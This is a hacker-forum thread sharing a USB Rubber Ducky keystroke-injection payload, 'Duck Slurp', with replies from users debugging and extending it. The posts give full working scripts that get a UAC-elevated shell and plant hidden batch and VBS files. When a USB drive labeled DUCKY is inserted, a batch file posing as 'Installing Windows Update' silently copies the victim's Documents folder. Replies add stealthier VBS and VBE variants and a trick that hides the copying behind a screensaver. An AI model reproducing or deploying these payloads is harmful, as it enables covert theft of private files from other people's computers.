[Payload] Duck Slurp v2 (Silent)

[Darren Kitchen]

I wanted to follow up with Overwraith's Ducky Slurp payload with one slightly more discrete and accurate. Tested successfully on Win7

If you haven't seen the Duckly Slurp payload yet check it out here https://forums.hak5.org/index.php?/topic/29800-payload-duck-slurp-payload/?hl=slurp

Basically this payload drops an invisible looping batch file on the target PC which waits for a USB drive labeled "DUCKY" to be inserted. Once the USB drive labeled "DUCKY" is inserted the file %duckyDRIVE%\DuckSlurp\DuckSlurp.bat is executed invisibly which copies all of the data from %userprofile%\documents

Customize to your hearts content. Injection time in just a few seconds.

REM Author: overwraith modified by dkitchen
REM Name: DuckSlurp.txt
REM Purpose: Run an executable file off of the SD card after it mounts. 
REM Uses googleknowsbests slightly more portable method to find the "Ducky" drive. 
REM Encoder V2.4
REM Using the run command for a broader OS base. 

REM *** Initial Delay *** 
DELAY 2000

REM *** Bypass UAC ***
GUI r
DELAY 250
STRING powershell Start-Process cmd.exe -Verb runAs
ENTER
DELAY 1500
ALT y
DELAY 500


REM *** Change directories because System32 appears to be protected. ***
STRING CD %TEMP%
ENTER

REM *** Delete wait batch file if already exists ***
STRING erase /Q DuckyWait.bat
ENTER

REM *** Make batch file that waits for SD card to mount. ***
STRING copy con DuckyWait.bat
ENTER
STRING :while1
ENTER
STRING @echo off
ENTER
STRING :while1
ENTER
STRING for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%%A:)
ENTER
STRING if [%DUCKYdrive%] EQU [] (
ENTER
STRING timeout /t 3
ENTER
STRING goto :while1 
ENTER
STRING ) else (
ENTER
STRING goto :break
ENTER
STRING )
ENTER
STRING timeout /t 3
ENTER
STRING goto :while1
ENTER
STRING :break
ENTER
STRING set DUCKYdrive=%DUCKYdrive%\DuckSlurp\
ENTER
STRING wscript.exe invis.vbs %DUCKYdrive%\DuckSlurp.bat
ENTER
CONTROL z
ENTER

REM *** Delete Invisible vbs file if already exists ***
STRING erase /Q invis.vbs
ENTER

REM *** Make VBS file to run invisibly ***
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER

REM *** Run the batch file invisibly ***
STRING wscript.exe invis.vbs DuckyWait.bat
ENTER

REM *** Exit ***
STRING EXIT
ENTER

Now make sure to label your USB drive "DUCKY" and create a folder on the root named "DuckSlurp"

Within that folder create a batch file named "DuckSlurp.bat" containing the following:

@echo off
@echo Installing Windows Update
set destination=%~d0\DuckSlurp\%COMPUTERNAME%
mkdir %destination%

if Exist %USERPROFILE%\Documents (
xcopy %USERPROFILE%\Documents %destination% >>nul
)

@cls
@exit

The payload actually runs this batch file using the invis.vbs wscript so it shouldn't be seen on screen, however if it were to be it would simply state "Installing Windows Update" briefly.

[overwraith]

Would the /Z option on xcopy work like I think it would and make it possible to do another pass on the target machine in case the whole file couldn't be grabbed the first time?

C:\Users\Cameron>xcopy /?
...
  /Z           Copies networked files in restartable mode.
...

[overwraith]

Just saw the ducky episode. Name pronounced over - wraith, like the critter that sucks out your soul! JK good episode.

[parkour86]

I don't have a Ducky yet so I don't know if there's maybe a restriction but what's the purpose of having the standard flash drive? Couldn't we just backup the files to the sdcard on the Ducky?

Edited August 29, 2013 by parkour86

[overwraith]

Ducky storage is notoriously slow, and takes a while to mount. Adding an additional flash drive is much faster. Unless you want to be waiting 15 min until the computer's owner comes back...

[no42]

In comparison the max speed of the Ducky is 150Kbits/sec (MMC speed)

a fast SDIO license & software can reach 4MB/sec (27x faster),

a fast USB Drive can achieve approx. 14MB/sec (96x faster).

SDIO licenses are expensive $$$, unless a 3-letter acronym company would like to sponsor the Ducky!

[parkour86]

That's very interesting, thanks for the information.

[Darren Kitchen]

I <3 TLAs.

Also, what midnitesnake said. For hashdumping it's totally feasible, but when it comes to "backing up" a lot of data, an off-the-shelf USB drive is the way to go. Sure, we could re-engineer the duck to do USB3 speeds, but it would cost a metric buttload. Better off just using a 2nd thumbdrive.

[Bytewolf]

If you also want to hide the duckywait, you can put its functionality inside of a vbs as well.

Ducky.vbs

Set Shell = CreateObject( "WScript.Shell" )
Set fso = CreateObject("Scripting.FileSystemObject")
Set oWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set colME = oWMI.ExecNotificationQuery("Select * from Win32_VolumeChangeEvent")

' Name of the Volume we are after
strVolumeName = "BACKUPDISK"

' Watch for new Drives
Do
    Set oLE = colME.NextEvent
	If oLE.EventType = 2 Then
		' New Drive arrived
		Set d = fso.GetDrive(oLE.DriveName)
		
		If d.VolumeName = strVolumeName Then
			Shell.Run oLE.DriveName & "\backup.vbs"						
		End If
	End If
Loop

Backup.vbs on the USB-Drive

' This Script must be on the USB-Drive in the root directory
Set Shell = CreateObject( "WScript.Shell" )
Set fso = CreateObject("Scripting.FileSystemObject")

' Get the Userprofiledirectory & Computername
strUP = Shell.ExpandEnvironmentStrings( "%USERPROFILE%" )
strCN = Shell.ExpandEnvironmentStrings( "%COMPUTERNAME%" )
strDRV = fso.GetDriveName(WScript.ScriptFullName)

' Create a subfolder on the USB-Drive if it doesn't exist
If Not(fso.FolderExists (strDRV & "\Backup\" & strCN)) Then
	fso.CreateFolder strDRV & "\Backup\" & strCN
End If
			
' Backup the Data (Overwrite existing files)
fso.CopyFolder strUP & "\Downloads", strDRV & "\Backup\" & strCN & "\", vbTrue

You can also encrypt vbs files to vbe. They will run just fine. http://www.ehow.com/how_8783926_convert-vbs-vbe.html

[Xcellerator]

Or just issue "start C:\Windows\System32\Ribbons.scr -s" at the start of the DuckSlurp.bat file on the usb. The screensaver will activate and the rest of the batch file will run behind it!

[B-rant]

Hey,

I'm kinda a newbie and am having some issue getting this to work on my computer. I got everything to work on the Ducky just fine, it creates the file that waits for the flashdrive named DUCKY and runs the batch file. However, when the batch file runs all it does is create a folder called my computers name. It does not copy My Documents into the folder infact, the folder stays empty. I did not know what to do so I put a timeout in the batch file at the end of the code and ran it without the invis file to see what it did. This is what it said in the command prompt:

Installing Windows Update

Invalid number of parameters

Then after the timeout, it closed.

Not sure what is wrong but thought I would ask because its probably a very simple fix.

[Xcellerator]

Make a new DuckSlurp.bat file and paste this into it:

@echo off
set destination=%~d0\DuckSlurp\%COMPUTERNAME%
mkdir %destination%

if Exist %USERPROFILE%\Documents (
xcopy %USERPROFILE%\Documents\test.txt %destination% >>nul
)

@cls
taskkill /f /IM cmd.exe
@exit

Make a text file in your documents called "test.txt". It seems that the DuckyWait.bat script is running fine as it's actually calling the right file on the USB, so just run this script (the one above) normally (not with the Ducky). This is the actual script from my personal setup, so I can confirm it works fine.

If this works, then just change the line

xcopy %USERPROFILE%\Documents\test.txt %destination% >>nul

to

xcopy %USERPROFILE%\Documents\* %destination% >>nul

and it should copy over everything in documents. (The * is also called a 'wildcard' means everything in the directory)

[Ezniks]

Not working.

When I plug my ducky in, everything is going right, but it stops with 'EXIT' in the command prompt (stays there and command prompt doesnt go away).

When I plug the flash drive 'DUCKY' in, he copies nothing and there's no new folder...

When I execute the Duckslurp.bat, he creates a folder, but no files.

To encode, I used this commandline: java -jar encoder.java -l resources/be.properties -i input_file.txt -o inject.bin (v.2.6)

Plz help me out.

[no42]

Not working.

When I plug my ducky in, everything is going right, but it stops with 'EXIT' in the command prompt (stays there and command prompt doesnt go away).

When I plug the flash drive 'DUCKY' in, he copies nothing and there's no new folder...

When I execute the Duckslurp.bat, he creates a folder, but no files.

To encode, I used this commandline: java -jar encoder.java -l resources/be.properties -i input_file.txt -o inject.bin (v.2.6)

Plz help me out.

Prefix every line with STRING, and re-encode,

then open notepad, make sure it remains the active window, while inserting the Ducky.

the Ducky should then start typing into notepad.

This output will enable us to do some debugging!

Also are you Windows or Linux the \ or / after "resources" might make a difference?

Edited September 8, 2013 by midnitesnake

[Ezniks]

Prefix every line with STRING, and re-encode,

then open notepad, make sure it remains the active window, while inserting the Ducky.

the Ducky should then start typing into notepad.

This output will enable us to do some debugging!

Also are you Windows or Linux the \ or / after "resources" might make a difference?

Got the right "/" flag for Linux. ;) But I think there is something wrong with the brackets (due to keyboard properties?)

duckywait.bat:

:while1

@echo off

:while1

for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%%A:)

if ]%DUCKYdrive%[ EQU ][ (

timeout /t 3

goto :while1

) else (

goto :break

)

timeout /t 3

goto :while1

:break

set DUCKYdrive=%DUCKYdrive%\DuckSlurp\

wscript.exe invis.vbs %DUCKYdrive%\DuckSlurp.bat

Probably the brackets?

And this for invis.vbs:

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

wscript.exe invis.vbs DuckyWait.bat

EXIT

CD %TEMP%

[Xcellerator]

Add a 100/200 ms delay after typing exit before hitting enter. I had this problem once, I fixed it by adding very short delays (eventually I worked out I only need 50ms ones).

STRING exit

DELAY 100

ENTER

[Ezniks]

Thanks, I'll try it!

Isn't there something wrong with this (if ]%DUCKYdrive%[ EQU ][ ( ) line?

[no42]

Thanks, I'll try it!

Isn't there something wrong with this (if ]%DUCKYdrive%[ EQU ][ ( ) line?

STRING if [%DUCKYdrive%] EQU [] (

looks like your [ ] square-brackets are the wrong way around

try swapping

ASCII_5B = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT
// 91 [
ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT
// 92
ASCII_5D = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT
// 93 ]

with

ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT
// 91 [
ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT
// 92
ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT
// 93 ]

Edited September 8, 2013 by midnitesnake

[B-rant]

Make a new DuckSlurp.bat file and paste this into it:

@echo off
set destination=%~d0\DuckSlurp\%COMPUTERNAME%
mkdir %destination%

if Exist %USERPROFILE%\Documents (
xcopy %USERPROFILE%\Documents\test.txt %destination% >>nul
)

@cls
taskkill /f /IM cmd.exe
@exit

Make a text file in your documents called "test.txt". It seems that the DuckyWait.bat script is running fine as it's actually calling the right file on the USB, so just run this script (the one above) normally (not with the Ducky). This is the actual script from my personal setup, so I can confirm it works fine.

If this works, then just change the line

xcopy %USERPROFILE%\Documents\test.txt %destination% >>nul

to

xcopy %USERPROFILE%\Documents\* %destination% >>nul

and it should copy over everything in documents. (The * is also called a 'wildcard' means everything in the directory)

Hey,

I did just that, and it still does not seem to work.

Here is a picture of what I did to confirm that I did it all correctly. I did add the wait to see what it was saying but with or without it, it does not seem to work.

http://puu.sh/4nlp0.PNG

[Xcellerator]

Sorry, I should have been clearer. By default, windows hides the extension on files that it recognises. That means that the test.txt file in your documents is actually test.txt.txt. (It adds the .txt automatically).

So rename the file in your documents so that it just says "test", rather than "test.txt".

Xcopy shouldn't need any more parameters than that, so try in a command prompt,

xcopy %USERPROFILE%\Documents\test.txt %USERPROFILE%\Desktop\

Which SHOULD copy test.txt to your desktop.

[B-rant]

Sorry, I should have been clearer. By default, windows hides the extension on files that it recognises. That means that the test.txt file in your documents is actually test.txt.txt. (It adds the .txt automatically).

So rename the file in your documents so that it just says "test", rather than "test.txt".

Xcopy shouldn't need any more parameters than that, so try in a command prompt,

xcopy %USERPROFILE%\Documents\test.txt %USERPROFILE%\Desktop\

Which SHOULD copy test.txt to your desktop.

Hey, thanks for your help by the way.

I tried this in both Command Prompt and Powershell and both did not work. I really have no idea what is going wrong, but it is weird that powershell said it could not find the file.

Here is a picture of what happened.

http://puu.sh/4o4rP.PNG

[B-rant]

Hey I figured it out, my friend told me that it's because I have a space in my username. He was right, this works (xcopy "%USERPROFILE%\Documents\test.txt" "%USERPROFILE%\Desktop\") but this does not work (xcopy %USERPROFILE%\Documents\test.txt %USERPROFILE%\Desktop\) it needs the quotes to work.

So, that is probably something you might want to change just incase you run into a computer with a two word user name.

Thanks for the help.

[B-rant]

Ok so I tried changing the batch file so that it works with two word user names and also copy's sub directories in their documents as well, don't know if that's useful or not.

@echo off
@echo Installing Windows Update
set destination=%~d0\DuckSlurp\%COMPUTERNAME%
mkdir %destination%

if Exist "%USERPROFILE%\Documents" (
xcopy /S "%USERPROFILE%\Documents" %destination% >>nul
)

@cls
@exit

[Xcellerator]

That's great, the /S flag makes it recursive (similar to -R in *nix), and the double quotes encapsulate the whole string rather than breaking at the space.

Thanks for sharing!

[ethereal]

okay, for whatever reason, invis.vbs can't be accessed when the ducky drive is inserted. It's there, in the temp folder, but isn't used. on inserting the drive named ducky, it errors out with a pop up, and then nothing happens. any ideas?

Edited January 13, 2014 by ethereal